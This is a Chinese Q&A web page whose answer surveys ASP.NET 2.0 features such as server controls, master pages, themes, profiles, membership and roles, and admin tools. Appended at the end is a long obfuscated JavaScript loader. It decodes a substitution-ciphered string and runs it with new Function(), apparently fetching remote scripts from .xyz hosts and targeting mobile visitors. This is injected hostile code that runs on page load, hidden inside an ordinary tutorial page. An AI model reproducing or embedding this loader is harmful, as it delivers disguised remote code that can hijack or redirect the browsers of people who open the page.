5.ASP.NET页面主要包括哪几个部分?
5.ASP.NET页面主要包括哪几个部分?
推荐回答(2个)
ASP.NET技术从1.0版本升级到1.1变化不是很大。然而,从ASP.NET 1.x升级到2.0,却不是件轻而易举的事情。ASP.NET 2.0技术增加了大量方便、实用的新特性。ASP.NET 2.0主要提供控件、页面框架、服务与APIs等3个方面的技术特性。
ASP.NET 2.0新特性之控件
在ASP.NET 1.x时代,由于内置服务器控件数量有限、功能覆盖面窄,因此,开发人员怨声载道。为了消除这个技术软肋,ASP.NET 2.0做出了突破性改进。在ASP.NET 2.0中,新增数十个服务器控件。根据控件功能特征,可分为:数据控件(包括数据源控件和数据绑定控件)、登录系列控件、Web部件、站点导航控件和其他控件等。这些服务器控件对于提高工作效率,降低开发成本有着重要作用。
ASP.NET 2.0新特性之页面框架
在页面框架方面,ASP.NET 2.0同样做出了重大改进,主要体现在以下4项技术特性:母版页、主题和皮肤、编译机制和本地化。母版页特性在大型Web站点中应用广泛,它能够在一定程度上代替框架页功能,从而迅速建立具有统一布局和外观的页面,并且有效降低维护人员的工作强度。主题和皮肤是ASP.NET 2.0的一项新增功能,使用此功能可以一次性设置一种类型的服务器控件外观样式。该外观可方便地应用于单个页面、整个Web应用程序,甚至整个服务器。在应用程序编译方面,ASP.NET 2.0提供了几种替代方案,从而扩大了编译的选择范围,开发人员可以根据特定需要进行选择。另外,ASP.NET 2.0在本地化方面也做出了一些改进。
ASP.NET 2.0新特性之服务与APIs
这个部分包括的新特性在ASP.NET 2.0中占有较大比例,主要包括成员资格管理、角色管理、用户配置、数据缓存、配置与管理工具等。利用这些功能,可以快速实现用户和角色管理、个性化用户配置、数据缓存、应用程序可视化配置等任务。以成员资格和角色管理功能为例,在ASP.NET 1.x时代,实现这两项功能是比较繁琐和困难的;而在ASP.NET 2.0中不仅提供默认数据库表,而且只需调用几个简单的方法,就能够轻松地实现成员和角色管理功能。
一、新增服务器控件
在ASP.NET 1.x时代,有很多开发人员对其中的内置服务器控件提出批评。主要的观点是ASP.NET 1.x提供的控件数量太少,难以满足日益增长的开发需求,无法更快更好地开发应用程序。为了弥补ASP.NET 1.x的不足,ASP.NET 2.0新特性之中新增了数十个服务器控件。根据控件功能,可以分为站点导航控件、数据控件(包括数据源控件和数据绑定控件)、登录系列控件、Web部件和其他服务器控件等。熟练使用这些服务器控件对于提供工作效率、减低开发成本有着重要意义。
1、站点导航控件
在ASP.NET 1.x时期,微软发布了一组IE Web Control控件(非内置控件),其中包括一个实现树形结构的TreeView控件,它就是典型的站点导航控件。在ASP.NET 2.0中,不仅包含和扩展了原有的TreeView,而且还新增了另外两个控件。
站点导航控件主要用于实现站点页面导航功能。站点导航控件包括SiteMapPath、Menu和TreeView控件。SiteMapPath控件能够根据站点导航信息,准确定位当前页面所处整个Web站点的位置,同时,使用层次化表示方法,将位置信息显示为有序的静态文本或者超链接。另外,还可以通过调整相关属性,自定义位置信息的外观以及实现数据绑定等功能。Menu控件可构建与Windows应用程序类似的菜单。该控件不仅可与多种数据源控件集成,而且还可以支持自定义外观、事件处理等功能。TreeView控件主要用于显示树形结构,该树与Windows资源管理器中的树类似。同时,该控件还支持数据绑定、自定义外观等功能。
2、数据控件
ASP.NET 2.0的数据控件可细分为两类:一类是数据源控件,另一类是数据绑定控件。数据源控件包括SqlDataSource、AccessDataSource、XmlDataSource、SiteMapDataSource和ObjectDataSource。这些控件主要实现连接不同数据源、数据检索和修改功能,例如,查询、排序、分页、筛选、更新、删除和插入等。数据绑定控件主要包括GridView、DetailsView和FormView等。这些控件可与数据源控件配合,将获取的数据以不同形式显示在页面上。由于数据源控件和数据绑定控件支持良好的可视化设计时功能,因此,当利用Visual Studio 2005实现数据访问时,甚至不需要编写任何代码就能够完成任务。
3、登录系列控件
很多Web站点都提供了用户登录验证以及相关功能。常见功能包括用户登录、创建新用户等。总体而言,实现这些功能的基本方法比较类似,然而,由于开发人员的水平差异,可能造成一些不必要的漏洞和错误。为了解决这个问题,ASP.NET 2.0新特性之中将与登录验证相关的实现集成为登录系列控件。这些控件包括:Login、LoginName、LoginView、LoginStatus、PasswordRecovery、ChangePassword和CreateUserWizard。利用这些控件可以轻松实现登录验证、创建新用户、显示登录状态、显示登录用户名、更新和重置密码等。出于灵活性考虑,登录系列控件不仅提供了大量成员对象,而且还支持自定义模板功能(部分控件支持)。另外,登录系列控件还加强了安全方面的控制。例如,默认情况下,登录系列控件是以纯文本形式工作于HTTP上。如果应用程序对安全性十分关注,那么可以使用带SSL加密的HTTPS。
Login控件用于实现用户登录验证,CreateUserWizard控件用于创建新用户。可能读者会沿袭ASP.NET 2.0之前的思路,认为实现以上两种应用需要添加多个文本框、按钮等元素,并设计实现数据库、数据访问逻辑等。实际上,使用Login和CreateUserWizard控件实现以上应用,非常简单,简单到不需要编写任何代码,不需要自建数据库,只需添加和设置控件即可。
4、web部件
Web部件是ASP.NET 2.0新特性之中新增特性。如果曾经开发应用过SharePoint,那么对Web部件应该不会感到陌生。ASP.NET 2.0的Web部件功能包括多个服务器控件,例如,实现WebPart控件管理和控制的WebPartManager、实现编辑WebPart控件的EditorZone和EditorPart系列控件、实现目录管理的CatalogZone和CatalogPart系列控件、实现WebPart通信的ConnectionZone控件等。利用它们可以创建具有高度灵活性和个性化的Web站点。
5、其他服务器控件
除上文介绍的4类控件之外,ASP.NET 2.0新特性之中增加了其他服务器控件。这些控件包括BulletedList、HiddenField、FileUpload、ImageMap、MultiView(View)和Wizard。
二、母版页
每个站点都应具有统一的风格和布局。不同技术时代,给出了不同的解决方案。例如,在ASP技术时期,使用#include命令,在ASP.NET 1.x时期,主要使用用户控件。ASP.NET 2.0技术时期,则可以使用构建页面布局框架的技术特性—母版页。
母版页是扩展名为.master的文件,其代码内容和结构与普通.aspx文件类似。注意代码中包括一个或多个ContentPlaceHolder控件。在创建母版页时,需要将页面公共部分存储于母版页中,例如,页面公用的页头、页尾等,而页面非公共部分则使用ContentPlaceHolder控件实现占位。内容页文件虽然扩展名为.aspx,但是代码内容和结构与普通.aspx文件代码相距甚远,其代码分为两个部分:代码头声明一个或多个Content控件。开发人员需要在内容页代码头绑定母版页,同时,将页面非公共部分内容设置在Content控件标签之间。在运行时,用户不能直接请求母版页,只能请求访问内容页。此时,母版页和内容页将合并生成结果页,结果页面包含页面公共部分和非公共部分的运行结果。
三、主题和皮肤
在未接触主题和皮肤功能之前,你可能已经习惯于使用级联样式表(CSS)设置页面和控件等元素外观和样式。虽然在ASP.NET 1.x开发中,CSS同样适用,但是如果碰到一些复杂控件,例如,Calendar、GridView,那么设置CSS将变得比较困难。如果能够完全根据控件自身外观和样式属性,而不仅限于CSS中规定元素,来设置服务器控件,那么整个实现过程将变得比较简单。ASP.NET 2.0中的主题和皮肤功能就能够提供这样的便利。
所谓“主题”是指页面和控件外观属性设置的集合。主题由一组文件构成,可能包括皮肤文件、CSS文件、图片和其他资源等。这些文件必须存储在App_Themes文件夹中。皮肤文件是主题的核心内容。这种文件的扩展名为.skin,其中包含各种服务器控件的各种属性设置。利用主题功能,不仅能够定义页面和控件的外观,还可以在所有Web应用程序、单个Web应用程序的所有页面或者单个Web页面中,快速一致地应用所定义外观。另外,还可以根据应用程序需要动态加载主题。
四、个性化用户配置
存储和访问用户配置数据一直是开发人员关注的热点。在ASP.NET 1.x时代,实现这一功能主要通过Session、Application等对象或者采用数据库存储的方法。这两种方法都有着本身不可克服的缺点。例如,使用前者容易发生数据丢失的情况,而使用后者比较繁琐,例如,需要自行设计实现数据库及访问数据的代码。为了解决以上问题,ASP.NET 2.0新增了个性化用户配置功能。
个性化用户配置功能主要用于存储单个用户配置数据,这些数据可以是简单数据类型,也可以是复杂数据类型,甚至自定义对象等。同时,单个用户既可以是匿名用户,也可以是注册用户。默认情况下,所有用户配置数据都存储在SQL Server数据库中,并且无需自行创建和维护该数据库,这些工作都由ASP.NET 2.0自动完成。个性化用户配置功能还支持从应用程序中任何位置访问的多种强类型API,以方便存储、显示和管理用户配置信息。使用个性化用户配置功能非常简单。首先,在Web.config文件中定义配置信息名称、数据类型等,然后,调用与用户配置功能有关的强类型API,例如,Profile实现对用户配置信息的存储、访问和管理等应用。
五、成员资格和角色管理
多数站点的后台管理中,几乎都包括用户成员和角色管理功能,例如,新建、修改、删除用户和角色,为用户设置角色,管理角色中的用户等。在使用ASP.NET 1.x版本时,实现这些功能的主要方法是,首先,设计创建成员库表、角色库表等,然后,编写代码实现具体功能。实现所有功能可能需要花费不少的时间和精力,并且过程繁琐,容易出现错误。然而,使用ASP.NET 2.0新增的成员资格和角色管理功能则可以很好地解决这个问题。
成员资格和角色管理功能的核心是利用自动生成的数据库表、多个实现管理功能的API、成员资格和角色管理提供程序,实现模块化和自动化的成员资格和角色管理模式。具体而言,包括创建和管理用户和角色信息、实现对多种数据源中用户和角色信息的管理、验证访问应用程序的用户凭证、支持使用Cookie缓存角色信息、实现角色管理与成员资格管理等功能的集成。
六、配置和管理工具
为了快速方便地实现应用程序配置和管理,ASP.NET 2.0新特性之中提供了两个内置的可视化工具:一个是ASP.NET MMC管理单元,另一个是Web网站管理工具。
如果计算机中安装了Internet信息服务(IIS)和.NET Framework 2.0,那么打开IIS即可使用ASP.NET MMC管理单元。利用该工具可对指定应用程序的连接字符串、应用程序配置、自定义错误、授权、身份验证、公共编译、页和运行时、全球化和标识、应用程序状态、位置等方面进行全面设置。所有设置结果都将显示在应用程序Web.config文件中。从这一角度而言,ASP.NET MMC管理单元是一个用于编辑Web.config文件的图形化工具。
如果使用Visual Studio 2005创建ASP.NET 2.0应用程序,那么可以调用Web站点管理工具。与ASP.NET MMC管理工具不同的是,Web站点管理工具是一个Web应用程序,而不是一个Windows应用程序。Web站点管理工具提供了对指定Web应用程序的安全、应用程序配置、提供程序等多方面的设置。例如,创建管理用户和角色信息、设置SMTP参数、设置各种提供程序等。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();